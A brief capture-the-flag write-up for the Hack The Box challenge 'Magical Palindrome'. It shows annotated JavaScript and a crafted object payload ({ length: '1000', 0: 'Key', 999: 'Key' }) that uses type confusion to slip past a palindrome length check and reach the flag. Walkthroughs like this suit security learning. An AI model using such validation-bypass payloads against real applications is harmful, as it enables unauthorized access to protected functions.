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Magical Palindrome

• Hack The Box

[!hint] in JS everything you touch acts like an object

So:

const IsPalinDrome = (string) => {

• This function may receive not only a string, but also a crafted object/payload where properties (like palindrome["length"]|palindrome.length|palindrome["0"]|palindrome[0](works because key "0" becomes number 0)|palindrome["99"]|palindrome[99]) are still accessible.

Code explanation:

const IsPalinDrome = (string) => {
    if (string.length < 1000) {
        return "Tootus Shortus";
    }

    console.log(
        `1. 'Array().keys()' make it iterable: ${Array(string.length).keys()}`,
    );
    console.log("But passed only one object.");
    console.log(
        `2. Still have access to first field (length): ${Array(string.length)}`,
    );
    console.log(`3. second "0" field in object: ${string[0]}`);
    console.log(`4. first field in object [ '1000' ]: ${string.length}`);
    for (const i of Array(string.length).keys()) {
        console.log("There is no iterations.");
        const original = string[i];
        console.log(`${i} Key: ${original}`);
        const reverse = string[string.length - i - 1];
        console.log(`string[string.length - i - 1]`);
        console.log(`string[1000          - 0 - 1]`);
        console.log(`${string.length - i - 1} Key: ${reverse}`);

        if (original !== reverse || typeof original !== "string") {
            return "Notter Palindromer!!";
        }
    }

    return "Getus Flagus!";
};

console.log(IsPalinDrome({ length: "1000", 0: "Key", 999: "Key" }));